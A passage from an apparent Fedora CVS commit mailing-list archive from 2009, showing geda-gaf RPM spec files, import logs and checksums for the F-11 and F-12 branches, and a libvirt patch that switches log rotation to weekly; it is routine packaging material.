%post -n geda-utils
touch --no-create %{_datadir}/icons/hicolor || :
%{_bindir}/gtk-update-icon-cache --quiet %{_datadir}/icons/hicolor || :

%postun -n geda-utils
if [ $1 -eq 0 ] ; then
    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
fi

%posttrans -n geda-utils
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :


%post -n libgeda
/sbin/ldconfig
update-mime-database %{_datadir}/mime &> /dev/null || :

%postun -n libgeda
/sbin/ldconfig
update-mime-database %{_datadir}/mime &> /dev/null || :

%posttrans -n libgeda
update-mime-database %{_datadir}/mime &> /dev/null || :


%clean
%{__rm} -rf %{buildroot}


%files
%defattr(-,root,root,-)
%doc ABOUT-NLS AUTHORS ChangeLog COPYING README NEWS


%files -n libgeda -f libgeda38.lang
%defattr(-,root,root,-)
%doc libgeda/{HACKING,ChangeLog*,BUGS,TODO}
%dir %{_datadir}/gEDA/
%dir %{_datadir}/gEDA/scheme
%{_libdir}/libgeda.so.*
%{_datadir}/gEDA/prolog.ps
%{_datadir}/gEDA/scheme/geda.scm
%{_datadir}/gEDA/system-gafrc
%{_datadir}/mime/packages/libgeda.xml


%files -n libgeda-devel
%defattr(-,root,root,-)
%{_includedir}/libgeda/
%{_libdir}/libgeda.so
%{_libdir}/pkgconfig/libgeda.pc


%files -n geda-symbols
%defattr(-,root,root,-)
%doc symbols/{AUTHORS,ChangeLog*,README,TODO}
%{_datadir}/gEDA/sym/
%dir %{_datadir}/gEDA/gafrc.d/
%{_datadir}/gEDA/gafrc.d/geda-clib.scm
%{_datadir}/mime/application/x-geda-symbol.xml
%{_datadir}/icons/hicolor/*/mimetypes/application-x-geda-symbol.*


%files -n geda-docs
%defattr(-,root,root,-)
%dir %{_docdir}/%{name}/
%doc %{_docdir}/%{name}/man
%doc %{_docdir}/%{name}/wiki
%doc %{_docdir}/%{name}/examples
%doc %{_docdir}/%{name}/gedadocs.html
%doc %{_docdir}/%{name}/nc.pdf


%files -n geda-gattrib -f geda-gattrib.lang
%defattr(-,root,root,-)
%doc gattrib/design/{gEDA_Structures_updated.png,ProgramArchitecture.gnumeric}
%doc gattrib/{BUGS,ChangeLog*,NOTES,README,ToDos}
%{_bindir}/gattrib
%{_datadir}/gEDA/system-gattribrc
%{_datadir}/gEDA/gattrib-menus.xml
%{_datadir}/applications/geda-gattrib.desktop
%{_datadir}/icons/hicolor/*/apps/geda-gattrib.*


%files -n geda-gnetlist
%defattr(-,root,root,-)
%doc gnetlist/{BUGS,ChangeLog*,TODO}
%doc %{_docdir}/%{name}/gnetlist
%{_bindir}/gnetlist
%{_bindir}/mk_verilog_syms
%{_bindir}/sch2eaglepos.sh
%{_bindir}/sw2asc
%{_datadir}/gEDA/scheme/gnet*.scm
%{_datadir}/gEDA/system-gnetlistrc
%{_mandir}/man1/gnetlist.*


%files -n geda-gschem -f geda-gschem.lang
%defattr(-,root,root,-)
%doc gschem/{BUGS,ChangeLog*,TODO}
%{_bindir}/gschem
%{_bindir}/gschemdoc
%{_datadir}/gEDA/scheme/auto-place-attribs.scm
%{_datadir}/gEDA/scheme/default-attrib-positions.scm
%{_datadir}/gEDA/scheme/image.scm
%{_datadir}/gEDA/scheme/pcb.scm
%{_datadir}/gEDA/scheme/print.scm
%{_datadir}/gEDA/scheme/auto-uref.scm
%{_datadir}/gEDA/scheme/generate_netlist.scm
%{_datadir}/gEDA/scheme/gschem.scm
%{_datadir}/gEDA/scheme/list-keys.scm
%{_datadir}/gEDA/scheme/print-NB-attribs.scm
%{_datadir}/gEDA/bitmap/gschem-*
%{_datadir}/gEDA/system-gschemrc
%{_datadir}/gEDA/gschem-gtkrc
%{_datadir}/gEDA/gschem-colormap-darkbg
%{_datadir}/gEDA/gschem-colormap-lightbg
%{_datadir}/gEDA/print-colormap-darkbg
%{_datadir}/gEDA/print-colormap-lightbg
%{_datadir}/gEDA/scheme/color-map.scm
%{_datadir}/mime/application/x-geda-schematic.xml
%{_datadir}/applications/geda-gschem.desktop
%{_mandir}/man1/gschem.*
%{_datadir}/icons/hicolor/*/apps/geda-gschem.*
%{_datadir}/icons/hicolor/*/mimetypes/application-x-geda-schematic.*


%files -n geda-gsymcheck
%defattr(-,root,root,-)
%doc gsymcheck/{BUGS,ChangeLog*,TODO}
%doc %{_docdir}/%{name}/gsymcheck
%{_bindir}/gsymcheck
%{_datadir}/gEDA/system-gsymcheckrc
%{_mandir}/man1/gsymcheck.*


%files -n geda-utils
%defattr(-,root,root,-)
%doc utils/{ChangeLog*,README,AUTHORS}
%doc %{_docdir}/%{name}/utils
%doc %{_docdir}/%{name}/readmes/
%{_bindir}/garchive
%{_bindir}/grenum
%{_bindir}/gmk_sym
%{_bindir}/smash_megafile
%{_bindir}/convert_sym
%{_bindir}/sarlacc_schem
%{_bindir}/sarlacc_sym
%{_bindir}/gschupdate
%{_bindir}/gsymfix.pl
%{_bindir}/pcb_backannotate
%{_bindir}/gschlas
%{_bindir}/olib
%{_bindir}/refdes_renum
%{_bindir}/gsch2pcb
%{_bindir}/pads_backannotate
%{_bindir}/tragesym
%{_bindir}/gsymupdate
%{_bindir}/gxyrs
%{_bindir}/gnet_hier_verilog.sh
%{_datadir}/gEDA/system-gschlasrc
%{_mandir}/man1/grenum.1.gz
%{_datadir}/gEDA/perl/lib/gxyrs.pm
%{_datadir}/mime/application/x-geda-gsch2pcb-project.xml
%{_datadir}/icons/hicolor/*/mimetypes/application-x-geda-gsch2pcb-project.*


%changelog
* Tue Oct  6 2009 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 1.6.0-1
- new upstream release

* Thu Sep 24 2009 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 1.5.4-2
- Fixed most rpmlints and rpath
- Optimize desktop/icon scriptlets

* Mon Aug 31 2009 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 1.5.4-1
- new development snapshot

* Sun Dec 21 2008 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20081220-1
- new upstream release

* Tue Nov 11 2008 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20080929-1
- New upstream release

* Sat Feb 02 2008 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20080127-1
- New upstream release

* Tue Jan 22 2008 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20071231-1
- New upstream release

* Mon Sep 03 2007 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20070902-1
- New upstream release

* Thu Aug 23 2007 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20070708-2
- mass rebuild for fedora 8 - ppc32

* Sat Jul 14 2007 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20070708-1
- New upstream release

* Tue Jun 27 2007 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20070626-1
- new upstream release

* Thu Jun 14 2007 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20070526-1
- new upstream release

* Wed Mar 28 2007 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20070216-1
- fix ownership of /usr/share/gEDA/docs -  #233792

* Sun Sep 10 2006 Chitlesh Goorah <chitlesh at fedoraproject.org> - 20061020-1
- New upstream release

* Sun Sep 10 2006 Chitlesh Goorah <chitlesh at fedoraproject.org> - 20060906-2
- Rebuilt for FC-6 devel

* Sun Sep 10 2006 Chitlesh Goorah <chitlesh at fedoraproject.org> - 20060906-1
- Upstream release 20060906

* Tue Sep 05 2006 Chitlesh Goorah <chitlesh at fedoraproject.org> - 20060824-2
- Removed unauthorized file : MPEG sequence : favicon

* Tue Sep 05 2006 Chitlesh Goorah <chitlesh at fedoraproject.org> - 20060824-1
- Upstream release 20060824

* Mon Aug 28 2006 Chitlesh Goorah <chitlesh at fedoraproject.org> - 20060123-3
- rebuilt for FC5 and later with minor fixes



--- NEW FILE import.log ---
geda-gaf-1_6_0-1_fc11:F-11:geda-gaf-1.6.0-1.fc11.src.rpm:1254821944


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/geda-gaf/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Sep 2009 20:11:44 -0000	1.1
+++ .cvsignore	6 Oct 2009 09:42:10 -0000	1.2
@@ -0,0 +1 @@
+geda-gaf-1.6.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/geda-gaf/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Sep 2009 20:11:45 -0000	1.1
+++ sources	6 Oct 2009 09:42:10 -0000	1.2
@@ -0,0 +1 @@
+1dacc71407e69d77eaf4c1115f5bcd56  geda-gaf-1.6.0.tar.gz



From chitlesh at fedoraproject.org  Tue Oct  6 09:43:53 2009
From: chitlesh at fedoraproject.org (Chitlesh GOORAH)
Date: Tue,  6 Oct 2009 09:43:53 +0000 (UTC)
Subject: rpms/geda-gaf/F-12 geda-gaf.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091006094353.334DF11C00C1@cvs1.fedora.phx.redhat.com>

Author: chitlesh

Update of /cvs/pkgs/rpms/geda-gaf/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19619/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	geda-gaf.spec import.log 
Log Message:
1.6.0


--- NEW FILE geda-gaf.spec ---
# As from 1.5, all the submodules of geda-gaf are packaged by upstream into one
# big tarball. This requires a new fedora package review and obsoleting the old 
# geda-* packages fedora was providing, which explains the use of Epoch.

# Date : 31 August 2009, Chitlesh Goorah
%define         snap   20091004

Name:           geda-gaf
Epoch:          1
Version:        1.6.0
Release:        1%{?dist}
Summary:        Design Automation toolkit for electronic design

Group:          Applications/Engineering
License:        GPLv2
URL:            http://www.geda.seul.org
Source0:        http://geda.seul.org/devel/v1.6/%{version}/%{name}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  desktop-file-utils gettext-devel gawk intltool
BuildRequires:  gd-devel libtool-ltdl-devel shared-mime-info

Requires:       geda-docs      = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:       geda-gattrib   = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:       geda-gschem    = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:       geda-gnetlist  = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:       geda-gsymcheck = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:       geda-utils     = %{?epoch:%{epoch}:}%{version}-%{release}


%description
The GPL Electronic Design Automation (gEDA) project has produced and
continues working on a full GPL'd suite and toolkit of Electronic
Design Automation tools. These tools are used for electrical circuit
design, schematic capture, simulation, prototyping, and production.

Currently, the gEDA project offers a mature suite of free software
applications for electronics design, including schematic capture,
attribute management, bill of materials (BOM) generation, netlisting
into over 20 netlist formats, analog and digital simulation, and
printed circuit board (PCB) layout.


%package      -n  libgeda
Summary:          Libraries for the gEDA project
Group:            Development/Libraries
BuildRequires:    gtk2-devel
BuildRequires:    guile-devel
Requires(post):   /sbin/ldconfig
Requires(postun): /sbin/ldconfig

%description  -n  libgeda
This package contains libgeda, the library needed by gEDA applications.


%package      -n  libgeda-devel
Summary:          Development files for the libgeda library
Group:            Development/Libraries
Requires:         libgeda          = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:         gtk2-devel
Requires:         guile-devel
Requires:         pkgconfig

%description  -n  libgeda-devel
Development files for libgeda library


%package      -n  geda-symbols
Summary:          Electronic symbols for gEDA
Group:            Applications/Engineering
BuildArch:        noarch
BuildRequires:    transfig

%description  -n  geda-symbols
This package contains a bunch of symbols of electronic devices
used by gschem, the gEDA project schematic editor.


%package      -n  geda-docs
Summary:          Documentation and Examples for gEDA
Group:            Applications/Engineering
BuildArch:        noarch
Requires:         geda-symbols
Provides:         geda-examples     = %{?epoch:%{epoch}:}%{version}-%{release}
Obsoletes:        geda-examples     < 20090830-2

%description  -n  geda-docs
This package contains documentation and examples for the gEDA project.


%package      -n  geda-gattrib
Summary:          Attribute editor for gEDA
Group:            Applications/Engineering
Requires:         geda-symbols

%description  -n  geda-gattrib
Gattrib is gEDA's attribute editor. It reads a set of gschem .sch files
(schematic files), and creates a spreadsheet showing all components in
rows, with the associated component attributes listed in the columns.
It allows the user to add, modify, or delete component attributes outside
of gschem, and then save the .sch files back out. When it is completed,
it will allow the user to edit attributes attached to components, nets,
and pins. (Currently, only component attribute editing is implemented;
pin attributes are displayed only, and net attributes are TBD.)


%package      -n  geda-gnetlist
Summary:          Netlister for the gEDA project
Group:            Applications/Engineering
BuildRequires:    libstroke-devel
Requires:         geda-symbols

%description  -n  geda-gnetlist
Gnetlist generates netlists from schematics drawn with gschem
(the gEDA schematic editor). Possible output formats are:
- native
- tango
- spice
- allegro
- PCB
- verilog
and others.


%package      -n  geda-gschem
Summary:          Electronics schematics editor
Group:            Applications/Engineering
Requires(pre):    libgeda = %{?epoch:%{epoch}:}%{version}-%{release}
Requires:         geda-symbols
Requires:         geda-docs

%description  -n  geda-gschem
Gschem is an electronics schematic editor. It is part of the gEDA project.


%package      -n  geda-gsymcheck
Summary:          Symbol checker for electronics schematics editor
Group:            Applications/Engineering
Requires:         geda-symbols

%description  -n  geda-gsymcheck
Gsymcheck is a utility to check symbols for gschem.
It is part of the gEDA project.


%package      -n  geda-utils
Summary:          Several utilities for the gEDA project
Group:            Applications/Engineering
Requires:         geda-symbols
%if 0%{?fedora} > 6
BuildRequires:    perl-libs
%endif


%description  -n  geda-utils
Several utilities for the gEDA project.


%prep
%setup -q

# Fixing rpmlints wrong-file-end-of-line-encoding
for f in `find gnetlist/tests -name \*.net -or -name \*.pads | sort` ; do
   echo -n -e "... Fixing the end-of-line encodings of $f  \t"
   sed -i.bak -e 's|\r||g' $f
   touch -r $f.bak $f
   %{__rm} -f $f.bak
   echo "done"
done

# rpmlint zero-length
%{__rm} -f utils/tests/gxyrs/outputs/*-error
%{__rm} -f gnetlist/tests/common/outputs/drc/multiequal-output.net
%{__rm} -f gnetlist/tests/common/outputs/futurenet2/SlottedOpamps-output.net
%{__rm} -f gnetlist/tests/common/outputs/switcap/SlottedOpamps-output.net

# rpmlint UTF-8
for f in symbols/{AUTHORS,ChangeLog-1.0} gschem/ChangeLog; do
   iconv -f ISO-8859-1 -t UTF-8 $f > $f.tmp && \
      ( touch -r $f $f.tmp ; %{__mv} -f $f.tmp $f ) || \
      %{__rm} -f $f.tmp
done

# Fixing rpaths
%if "%{_libdir}" != "/usr/lib"
sed -i -e 's|"/lib /usr/lib|"/%{_lib} %{_libdir}|' configure
%endif

%build

%configure  --disable-static
%{__make} %{?_smp_mflags}


%install
%{__rm} -rf %{buildroot}
%{__make} INSTALL="%{_bindir}/install -p" install DESTDIR=%{buildroot}


desktop-file-install --vendor "" \
    --dir %{buildroot}%{_datadir}/applications \
    --delete-original                          \
    %{buildroot}%{_datadir}/applications/geda-gschem.desktop \
    %{buildroot}%{_datadir}/applications/geda-gattrib.desktop 


%{__rm} -f %{buildroot}%{_libdir}/*.la
%{__rm} -f %{buildroot}%{_datadir}/applications/mimeinfo.cache
%{__rm} -f %{buildroot}%{_datadir}/mime/{XMLnamespaces,aliases,generic-icons,globs,globs2,icons,magic,mime.cache,subclasses,treemagic,types}


# locale's
for i in libgeda38 geda-gattrib geda-gschem ; do
    if [ -d %{buildroot}%{_datadir}/locale/ ]; then
        for lang_dir in %{buildroot}%{_datadir}/locale/* ; do
            lang=$(basename $lang_dir)
            if [ -e %{buildroot}%{_datadir}/locale/$lang/LC_MESSAGES/$i.mo ] ; then
                echo "%lang($lang) %{_datadir}/locale/$lang/LC_MESSAGES/$i.mo" >> $i.lang
            fi
        done
    fi
done

install -d %{buildroot}%{_docdir}/%{name}/{examples,gnetlist,gsymcheck,utils}

# gschem
install -pm 644 gschem/examples/*.sch    %{buildroot}%{_docdir}/%{name}/examples
install -pm 644 gschem/examples/README.* %{buildroot}%{_docdir}/%{name}/examples

# gnetlist
%{__cp} -pr gnetlist/tests %{buildroot}%{_docdir}/%{name}/gnetlist
%{__cp} -pr gnetlist/docs/* %{buildroot}%{_docdir}/%{name}/gnetlist
%{__cp} -pr gnetlist/examples/* %{buildroot}%{_docdir}/%{name}/examples
%{__rm} -f %{buildroot}%{_docdir}/%{name}/gnetlist/gnetlist.{1,doc}

# gsymcheck
%{__cp} -pr gsymcheck/tests/ %{buildroot}%{_docdir}/%{name}/gsymcheck

# utils
%{__cp} -pr utils/tests %{buildroot}%{_docdir}/%{name}/utils
%{__cp} -pr utils/examples %{buildroot}%{_docdir}/%{name}/utils

find %{buildroot}%{_docdir} -name 'Makefile*' -exec rm -f '{}' \;


%post -n geda-symbols
update-mime-database %{_datadir}/mime &> /dev/null || :

%postun -n geda-symbols
update-mime-database %{_datadir}/mime &> /dev/null || :

%posttrans -n geda-symbols
update-mime-database %{_datadir}/mime &> /dev/null || :


%post -n geda-gschem
touch --no-create %{_datadir}/icons/hicolor || :
%{_bindir}/gtk-update-icon-cache --quiet %{_datadir}/icons/hicolor || :
update-mime-database %{_datadir}/mime &> /dev/null || :

%postun -n geda-gschem
if [ $1 -eq 0 ] ; then
    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
    update-mime-database %{_datadir}/mime &> /dev/null || :
fi

%posttrans -n geda-gschem
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
update-mime-database %{_datadir}/mime &> /dev/null || :


%post -n geda-gattrib
touch --no-create %{_datadir}/icons/hicolor || :
%{_bindir}/gtk-update-icon-cache --quiet %{_datadir}/icons/hicolor || :

%postun -n geda-gattrib
if [ $1 -eq 0 ] ; then
    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
fi

%posttrans -n geda-gattrib
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :


%post -n geda-utils
touch --no-create %{_datadir}/icons/hicolor || :
%{_bindir}/gtk-update-icon-cache --quiet %{_datadir}/icons/hicolor || :

%postun -n geda-utils
if [ $1 -eq 0 ] ; then
    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
fi

%posttrans -n geda-utils
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :


%post -n libgeda
/sbin/ldconfig
update-mime-database %{_datadir}/mime &> /dev/null || :

%postun -n libgeda
/sbin/ldconfig
update-mime-database %{_datadir}/mime &> /dev/null || :

%posttrans -n libgeda
update-mime-database %{_datadir}/mime &> /dev/null || :


%clean
%{__rm} -rf %{buildroot}


%files
%defattr(-,root,root,-)
%doc ABOUT-NLS AUTHORS ChangeLog COPYING README NEWS


%files -n libgeda -f libgeda38.lang
%defattr(-,root,root,-)
%doc libgeda/{HACKING,ChangeLog*,BUGS,TODO}
%dir %{_datadir}/gEDA/
%dir %{_datadir}/gEDA/scheme
%{_libdir}/libgeda.so.*
%{_datadir}/gEDA/prolog.ps
%{_datadir}/gEDA/scheme/geda.scm
%{_datadir}/gEDA/system-gafrc
%{_datadir}/mime/packages/libgeda.xml


%files -n libgeda-devel
%defattr(-,root,root,-)
%{_includedir}/libgeda/
%{_libdir}/libgeda.so
%{_libdir}/pkgconfig/libgeda.pc


%files -n geda-symbols
%defattr(-,root,root,-)
%doc symbols/{AUTHORS,ChangeLog*,README,TODO}
%{_datadir}/gEDA/sym/
%dir %{_datadir}/gEDA/gafrc.d/
%{_datadir}/gEDA/gafrc.d/geda-clib.scm
%{_datadir}/mime/application/x-geda-symbol.xml
%{_datadir}/icons/hicolor/*/mimetypes/application-x-geda-symbol.*


%files -n geda-docs
%defattr(-,root,root,-)
%dir %{_docdir}/%{name}/
%doc %{_docdir}/%{name}/man
%doc %{_docdir}/%{name}/wiki
%doc %{_docdir}/%{name}/examples
%doc %{_docdir}/%{name}/gedadocs.html
%doc %{_docdir}/%{name}/nc.pdf


%files -n geda-gattrib -f geda-gattrib.lang
%defattr(-,root,root,-)
%doc gattrib/design/{gEDA_Structures_updated.png,ProgramArchitecture.gnumeric}
%doc gattrib/{BUGS,ChangeLog*,NOTES,README,ToDos}
%{_bindir}/gattrib
%{_datadir}/gEDA/system-gattribrc
%{_datadir}/gEDA/gattrib-menus.xml
%{_datadir}/applications/geda-gattrib.desktop
%{_datadir}/icons/hicolor/*/apps/geda-gattrib.*


%files -n geda-gnetlist
%defattr(-,root,root,-)
%doc gnetlist/{BUGS,ChangeLog*,TODO}
%doc %{_docdir}/%{name}/gnetlist
%{_bindir}/gnetlist
%{_bindir}/mk_verilog_syms
%{_bindir}/sch2eaglepos.sh
%{_bindir}/sw2asc
%{_datadir}/gEDA/scheme/gnet*.scm
%{_datadir}/gEDA/system-gnetlistrc
%{_mandir}/man1/gnetlist.*


%files -n geda-gschem -f geda-gschem.lang
%defattr(-,root,root,-)
%doc gschem/{BUGS,ChangeLog*,TODO}
%{_bindir}/gschem
%{_bindir}/gschemdoc
%{_datadir}/gEDA/scheme/auto-place-attribs.scm
%{_datadir}/gEDA/scheme/default-attrib-positions.scm
%{_datadir}/gEDA/scheme/image.scm
%{_datadir}/gEDA/scheme/pcb.scm
%{_datadir}/gEDA/scheme/print.scm
%{_datadir}/gEDA/scheme/auto-uref.scm
%{_datadir}/gEDA/scheme/generate_netlist.scm
%{_datadir}/gEDA/scheme/gschem.scm
%{_datadir}/gEDA/scheme/list-keys.scm
%{_datadir}/gEDA/scheme/print-NB-attribs.scm
%{_datadir}/gEDA/bitmap/gschem-*
%{_datadir}/gEDA/system-gschemrc
%{_datadir}/gEDA/gschem-gtkrc
%{_datadir}/gEDA/gschem-colormap-darkbg
%{_datadir}/gEDA/gschem-colormap-lightbg
%{_datadir}/gEDA/print-colormap-darkbg
%{_datadir}/gEDA/print-colormap-lightbg
%{_datadir}/gEDA/scheme/color-map.scm
%{_datadir}/mime/application/x-geda-schematic.xml
%{_datadir}/applications/geda-gschem.desktop
%{_mandir}/man1/gschem.*
%{_datadir}/icons/hicolor/*/apps/geda-gschem.*
%{_datadir}/icons/hicolor/*/mimetypes/application-x-geda-schematic.*


%files -n geda-gsymcheck
%defattr(-,root,root,-)
%doc gsymcheck/{BUGS,ChangeLog*,TODO}
%doc %{_docdir}/%{name}/gsymcheck
%{_bindir}/gsymcheck
%{_datadir}/gEDA/system-gsymcheckrc
%{_mandir}/man1/gsymcheck.*


%files -n geda-utils
%defattr(-,root,root,-)
%doc utils/{ChangeLog*,README,AUTHORS}
%doc %{_docdir}/%{name}/utils
%doc %{_docdir}/%{name}/readmes/
%{_bindir}/garchive
%{_bindir}/grenum
%{_bindir}/gmk_sym
%{_bindir}/smash_megafile
%{_bindir}/convert_sym
%{_bindir}/sarlacc_schem
%{_bindir}/sarlacc_sym
%{_bindir}/gschupdate
%{_bindir}/gsymfix.pl
%{_bindir}/pcb_backannotate
%{_bindir}/gschlas
%{_bindir}/olib
%{_bindir}/refdes_renum
%{_bindir}/gsch2pcb
%{_bindir}/pads_backannotate
%{_bindir}/tragesym
%{_bindir}/gsymupdate
%{_bindir}/gxyrs
%{_bindir}/gnet_hier_verilog.sh
%{_datadir}/gEDA/system-gschlasrc
%{_mandir}/man1/grenum.1.gz
%{_datadir}/gEDA/perl/lib/gxyrs.pm
%{_datadir}/mime/application/x-geda-gsch2pcb-project.xml
%{_datadir}/icons/hicolor/*/mimetypes/application-x-geda-gsch2pcb-project.*


%changelog
* Tue Oct  6 2009 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 1.6.0-1
- new upstream release

* Thu Sep 24 2009 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 1.5.4-2
- Fixed most rpmlints and rpath
- Optimize desktop/icon scriptlets

* Mon Aug 31 2009 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 1.5.4-1
- new development snapshot

* Sun Dec 21 2008 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20081220-1
- new upstream release

* Tue Nov 11 2008 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20080929-1
- New upstream release

* Sat Feb 02 2008 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20080127-1
- New upstream release

* Tue Jan 22 2008 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20071231-1
- New upstream release

* Mon Sep 03 2007 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20070902-1
- New upstream release

* Thu Aug 23 2007 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20070708-2
- mass rebuild for fedora 8 - ppc32

* Sat Jul 14 2007 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20070708-1
- New upstream release

* Tue Jun 27 2007 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20070626-1
- new upstream release

* Thu Jun 14 2007 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20070526-1
- new upstream release

* Wed Mar 28 2007 Chitlesh Goorah <chitlesh [AT] fedoraproject DOT org> - 20070216-1
- fix ownership of /usr/share/gEDA/docs -  #233792

* Sun Sep 10 2006 Chitlesh Goorah <chitlesh at fedoraproject.org> - 20061020-1
- New upstream release

* Sun Sep 10 2006 Chitlesh Goorah <chitlesh at fedoraproject.org> - 20060906-2
- Rebuilt for FC-6 devel

* Sun Sep 10 2006 Chitlesh Goorah <chitlesh at fedoraproject.org> - 20060906-1
- Upstream release 20060906

* Tue Sep 05 2006 Chitlesh Goorah <chitlesh at fedoraproject.org> - 20060824-2
- Removed unauthorized file : MPEG sequence : favicon

* Tue Sep 05 2006 Chitlesh Goorah <chitlesh at fedoraproject.org> - 20060824-1
- Upstream release 20060824

* Mon Aug 28 2006 Chitlesh Goorah <chitlesh at fedoraproject.org> - 20060123-3
- rebuilt for FC5 and later with minor fixes



--- NEW FILE import.log ---
geda-gaf-1_6_0-1_fc11:F-12:geda-gaf-1.6.0-1.fc11.src.rpm:1254822157


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/geda-gaf/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Sep 2009 20:11:44 -0000	1.1
+++ .cvsignore	6 Oct 2009 09:43:52 -0000	1.2
@@ -0,0 +1 @@
+geda-gaf-1.6.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/geda-gaf/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Sep 2009 20:11:45 -0000	1.1
+++ sources	6 Oct 2009 09:43:53 -0000	1.2
@@ -0,0 +1 @@
+1dacc71407e69d77eaf4c1115f5bcd56  geda-gaf-1.6.0.tar.gz



From markmc at fedoraproject.org  Tue Oct  6 09:43:53 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Tue,  6 Oct 2009 09:43:53 +0000 (UTC)
Subject: rpms/libvirt/F-12 libvirt-change-logrotate-config-to-weekly.patch, 
	NONE, 1.1 libvirt.spec, 1.186, 1.187
Message-ID: <20091006094353.440C511C0297@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/libvirt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19681

Modified Files:
	libvirt.spec 
Added Files:
	libvirt-change-logrotate-config-to-weekly.patch 
Log Message:
* Tue Oct  6 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-9
- Change logrotate config to weekly (#526769)


libvirt-change-logrotate-config-to-weekly.patch:
 libvirtd.logrotate.in |    7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

--- NEW FILE libvirt-change-logrotate-config-to-weekly.patch ---
>From bcd4180124afa20580d720912e2179b3a2f9295a Mon Sep 17 00:00:00 2001
From: Daniel Veillard <veillard at redhat.com>
Date: Mon, 5 Oct 2009 17:03:14 +0200
Subject: [PATCH] 526769 change logrotate config default to weekly

* daemon/libvirtd.logrotate.in: change to weekly rotation of logs,
  keep a month worth of data and also extend to cover LXC and UML
  domain logs

(cherry picked from commit 529325bbdd050af89bda5a5c1a01b5553c49a57e)

Fedora-patch: libvirt-change-logrotate-config-to-weekly.patch
---
 qemud/libvirtd.logrotate.in |    6 +++---
 1 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/qemud/libvirtd.logrotate.in b/qemud/libvirtd.logrotate.in
index 9b42630..093651c 100644
--- a/qemud/libvirtd.logrotate.in
+++ b/qemud/libvirtd.logrotate.in
@@ -1,7 +1,7 @@
- at localstatedir@/log/libvirt/qemu/*.log {
-        daily
+ at localstatedir@/log/libvirt/qemu/*.log @localstatedir@/log/libvirt/uml/*.log @localstatedir@/log/libvirt/lxc/*.log {
+        weekly
         missingok
-        rotate 7
+        rotate 4
         compress
         delaycompress
         copytruncate
-- 
1.6.2.5



Index: libvirt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/F-12/libvirt.spec,v
retrieving revision 1.186
retrieving revision 1.187
diff -u -p -r1.186 -r1.187
--- libvirt.spec	1 Oct 2009 15:17:32 -0000	1.186
+++ libvirt.spec	6 Oct 2009 09:43:52 -0000	1.187
@@ -151,7 +151,7 @@
 Summary: Library providing a simple API virtualization
 Name: libvirt
 Version: 0.7.1
-Release: 8%{?dist}%{?extra_release}
+Release: 9%{?dist}%{?extra_release}
 License: LGPLv2+
